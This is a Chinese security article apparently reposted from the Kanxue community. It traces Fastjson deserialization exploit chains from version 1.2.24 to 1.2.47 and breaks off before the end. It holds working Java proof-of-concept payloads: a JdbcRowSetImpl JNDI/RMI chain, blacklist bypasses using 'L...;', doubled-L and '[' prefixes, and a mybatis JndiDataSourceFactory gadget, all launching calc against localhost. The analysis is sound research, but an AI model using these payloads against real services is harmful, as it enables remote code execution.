专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
朱志良博士de职业健康  ·  DeepSeek:东盟职业病防治情况 ·  18 小时前  
连州点点网  ·  假的! ·  昨天  
连州点点网  ·  假的! ·  昨天  
贵阳市场监管  ·  电费1个月3481元竟有电费刺客?真相是... ·  3 天前  
贵阳市场监管  ·  电费1个月3481元竟有电费刺客?真相是... ·  3 天前  
今靖江  ·  工信部曝光!这些App,高风险!速查→ ·  3 天前  
今靖江  ·  工信部曝光!这些App,高风险!速查→ ·  3 天前  
51好读  ›  专栏  ›  看雪学苑

Fastjson反序列化利用链分析

看雪学苑  · 公众号  · 互联网安全  · 2024-08-31 17:59

主要观点总结

本文介绍了Fastjson反序列化漏洞的详细过程,包括不同版本间的修复与绕过方法,以及利用第三方框架(如mybatis)进行RCE的示例。文章还介绍了一种通用的绕过黑名单的方法,以及针对最新版本的修复策略。

关键观点总结

关键观点1: Fastjson版本漏洞分析

详细介绍了从1.2.24到最新版本的Fastjson在面临攻击时的应对策略和漏洞修复方式。

关键观点2: JdbcRowSetImpl利用链分析

通过详细的步骤和代码,展示了如何利用JdbcRowSetImpl在Fastjson中触发RCE。

关键观点3: 第三方框架RCE示例

通过mybatis框架展示如何利用Fastjson的特性触发RCE。

关键观点4: 通用绕过黑名单方法

介绍了一种通用的绕过Fastjson黑名单的方法,适用于多个版本。

关键观点5: 最新版本修复策略

针对最新版本的Fastjson修复策略进行了介绍和分析。


正文




实验环境


◆jdk1.8
◆windows10

pom依赖
        

com.alibaba
fastjson
1.2.24


先编写一个具有RCE功能的类,和一个工厂类:

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

public class CalcFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
return new Calc();
}
}

再编写一个简单的RMI服务端:

public class RMIServerReference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "CalcFactory", "");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/Calc", refObjWrapper);
System.out.println("RMI server running...");
}

public static void main(String[] args) throws Exception {
new RMIServerReference().register();
}
}

编写漏洞验证代码:

public class FastjsonDeserializePoc {
public static void main(String[] args) {
//设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}

将服务端启动后,执行FastjsonDeserializePoc类,先看一下效果,弹出了计算器:





Fastjson版本


1.2.24 JdbcRowSetImpl利用链分析


将断点打至JSON.parse处:



然后一直步入到这行:



继续步入到DefaultJSONParser的这里:



单步执行到239行,获取一个key。


可以看到此时获取的key是序列化json字符串中的 @type

继续单步至322行:



这里先获取了一个typeName,其值为"com.sun.rowset.JdbcRowSetImpl",并获取了一个该类型的Class对象。

继续单步至367行。



这里将获取一个反序列化器,步入getDeserializer方法,一直步入到ParserConfig类的362行:


这里有一个黑名单,如果要加载的类在黑名单内,则会抛出异常。

PS: 1.2.24版本黑名单中只有Thread类

继续单步至461行:



这里将根据clazz对象创建一个javabean的反序列化器并最终返回。

接下来返回到DefaultJSONParser的368行,用上一步创建的反序列化器执行反序列化操作:



这个函数进去之后,可能没办法继续步入了,不过可以直接将断点打至JavaBeanDeserializer的773行:



再步入parseField方法,单步至71行:



此时将反序列化JdbcRowSetImpl类中的autoCommit字段,是一个boolean类型的字段,反序列化出的value是true。

继续单步至83行,此处将要给JdbcRowSetImpl对象设置autoCommit属性:



步入该方法,单步至66行:


这里获取到一个Method,代表了JdbcRowSetImpl的setAutoCommit方法,然后单步至96行,通过反射调用该方法:



可见fastjson反序列化是通过调用bean的setter方法设置值的。

在setAutoCommit方法内打个断点执行到此处:



调用了connect方法,步入该方法,执行到326行:



这里调用了InitialContext的lookup方法,是JNDI的API,该方法会根据给定的名称查找一个对象的引用,如果传入RMI协议,则会加载一个远程对象,而此处传入的是根据getter方法获取的dataSourceName,也就是序列化字符串中的 rmi://127.0.0.1:1099/Calc ,所以该行执行后就会请求到Calc类,从而触发RCE。

总结:JdbcRowSetImpl利用链如下:

connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
...
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
...
parse:128, JSON (com.alibaba.fastjson)
main:15, FastjsonDeserializePoc (com.milon.poc)


1.2.25版本修复及绕过


将POM依赖改为:
        

com.alibaba
fastjson
1.2.25


此时再执行POC,会抛出一个异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:15)

说明1.2.24版本的漏洞已修复,看看他的修复逻辑,根据异常堆栈,将断点打到ParserConfig的checkAutoType方法中844行:



发现黑名单中新增了很多条目,其中包括 com.sun. 包下的所有类,而JdbcRowSetImpl正是该包下的,所以此处就被过滤了。

虽然被拉黑了,但也不是不可绕过,观察checkAutoType后面的代码,在861行调用了TypeUtils.loadClass方法:



进入该方法内部第1089行有这样一段逻辑:



如果className以L开头,并且以;结尾,那么将掐头去尾得到中间的字符串,继续递归调用loadClass方法,那么我们就可以利用这点,将Payload改成这样:
        
String payload = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";

注意 @type 后面的类型字符串前面加了L,后面加了;

再次debug:



此时className已经不以com.sun.开头,顺利绕过了黑名单,但是别高兴太早。



代码运行至881行的时候,还有一个autoTypeSupport的判断,这项配置在新版本中默认是关闭的,所以还会走到下面一行抛异常,所以我们需要在POC中显式的开启autoTypeSupport:

public class FastjsonDeserializePoc {
public static void main(String[] args) {
//设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}

这样就顺利绕过了1.2.25版本的限制,不过在真实环境中autoTypeSupport通常不会显式开启,这项就很难绕过了。

1.2.42版本修复及绕过


更新版本:
        

com.alibaba
fastjson
1.2.42


再次执行POC抛异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. Lcom.sun.rowset.JdbcRowSetImpl;
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:925)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)

根据异常堆栈将断点打在ParserConfig的checkAutoType方法中925行:



此时可以看到,依然是被黑名单拦截了,并且该版本的黑名单全部处理为了hash值,我们的 @type 属性经过掐头去尾得到的字符串 com.sun.rowset.JdbcRowSetImpl 经过hash又落在了黑名单内。我们往前看checkAutoType是怎么处理的:



在897行有一个if判断,判断条件是一个复杂的表达式,我们不需要逐字拆解这个表达式,只需推断整个表达式的作用,在后面的if语句块内,是对className掐头去尾的代码,什么时候需要掐头去尾?根据前面的分析就是以L开头;结尾的时候,所以推断该表达式的作用是判断className是否是 Lxxx; 的形式,可以证明:

将表达式整理为单行:
(((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L

按ALT + F8打开表达式计算窗口,将表达式中的className替换为 "L*;" 代入,结果为true:



再替换为 "*L;" ,结果为false:



"L;*" 也为false,说明只有 "Lxxx;" 形式的字符串才会得出true的结果,而我们的payload: Lcom.sun.rowset.JdbcRowSetImpl; 正符合该形式,所以会被掐头去尾,而后计算出的hash值落在了黑名单内。

知道了原理,那么我们可以使用惯用伎俩 双写绕过 ,将payload改为
LLcom.sun.rowset.JdbcRowSetImpl;; 即可绕过。

1.2.43版本修复及绕过


更新pom
        

com.alibaba
fastjson
1.2.43


再次执行poc,抛出异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)

根据异常堆栈将断点打在914行:



该版本使用了两次if判断,还是利用前面的表达式计算推断if判断条件,第一个表达式的作用是判断className是否以L开头;结尾,如果符合,则计算第二个表达式,判断是否以LL开头,如果符合则抛异常。

这样的话之前的双写绕过就不灵了,不过loadClass里除了对L;的处理,还有这么一个逻辑:



这个是判断className是否以[开头,如果是则去掉头,保留后面所有字符串,我们看看这里是否可以做文章,将payload改为:
[com.sun.rowset.JdbcRowSetImpl

然后执行POC,发现报错: exepct '[', but ,, pos 42, json ,大意是json偏移42字符的位置期望一个 [ ,但实际是一个 , 那我们就在第42个字符的地方插入一个 [,将payload改为:
        
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";

执行又报错: syntax error, expect {, actual string, pos 43 ,提示第43个字符期望一个 { ,那我们再满足它:
        
String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";

即可成功绕过。

1.2.44版本修复


在该版本中,如果判断className第一个字符是[,直接抛异常:



可以将表达式写为:
(BASIC ^ className.charAt(0)) * PRIME == 0xaf64164c86024f1aL

代入表达式计算窗口:

"["返回true:


在 [ 前插入任意字符返回false:



说明该表达式的作用是判断第一个字符是否是 [ 。

1.2.45第三方框架RCE


至此,JdbcRowSetImpl很难再利用了,不过还是可以通过其它第三方框架触发RCE。在此之前,先了解一个fastjson的特性,经过前文分析,fastjson是通过调用bean对象的setter方法来给对象属性设值的,其实对象中有没有相关属性不重要,关键是有setXxx方法,那么当这个setXxx方法的参数是一个 java.util.Properties 类型的对象时,fastjson会把序列化字符串中xxx字段对应的key->value全部放到这个Properties参数中,示例:

定义一个类,里面包含setXxx方法:

public class MyFactory {
public void setXxx(Properties properties) {
System.out.println("MyFactory setProperties...");
}
}

构造payload:
        
String payload = "{\n" +
" \"@type\":\"MyFactory\",\n" +
" \"xxx\":{\n" +
" \"k1\":\"v1\",\n" +
" \"k2\":\"v2\"\n" +
" }\n" +
"}";

debug源码可见:



调用了setXxx方法,并且将xxx字段对应的所有key-value全部放入properties中。

如果某些第三方框架也有这样的特征就可以利用,比如mybatis:
        

com.alibaba
fastjson
1.2.45


org.mybatis
mybatis
3.5.6


该版本的mybatis中有一个 JndiDataSourceFactory 类,里面有一个setProperties方法,参数是Properties对象,并且同样调用了InitialContext的lookup方法:



所以,我们可以构造一个payload:
        
String payload = "{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"rmi://127.0.0.1:1099/Calc\"\n" +
" }\n" +
"}";

将data_source写到properties字段中,这样就会在调用setProperties方法执行到55行时触发RCE。

1.2.46版本修复


该版本将JndiDataSourceFactory列入了黑名单。

1.2.47及以下版本通杀payload


此时JndiDataSourceFactory也不可利用,不过在checkAutoType方法里,还有一个点可做文章:



注意这里抛异常的条件,除了要在黑名单里,还要符合一个条件,从mappings中获得的Class对象为空,那我们想办法将这里获取的Class不为空就绕过了,进入该方法:



调用了mappings的get方法,mappings是一个ConcurrentHashMap类型的对象,查看哪里给mappings放置kv:



主要有两处,第一个是TypeUtils的addBaseClassMappings方法,第二个是TypeUtils的loadClass方法,第一个没有可输入的参数,主要看第二个。



第二个里面找到两处调用put方法的地方,前提条件是cache==true,cache是通过参数传入的,可以寻找哪里传入了cache=true,刚好这里有一个:



点到上图的方法里,再逐级向上寻找,最终来到了MiscCodec的335行:



注意:这里if判断条件是clazz==Class.class,这其实就是在暗示我们需要构造一个payload指定 @type java.lang.Class






请到「今天看啥」查看全文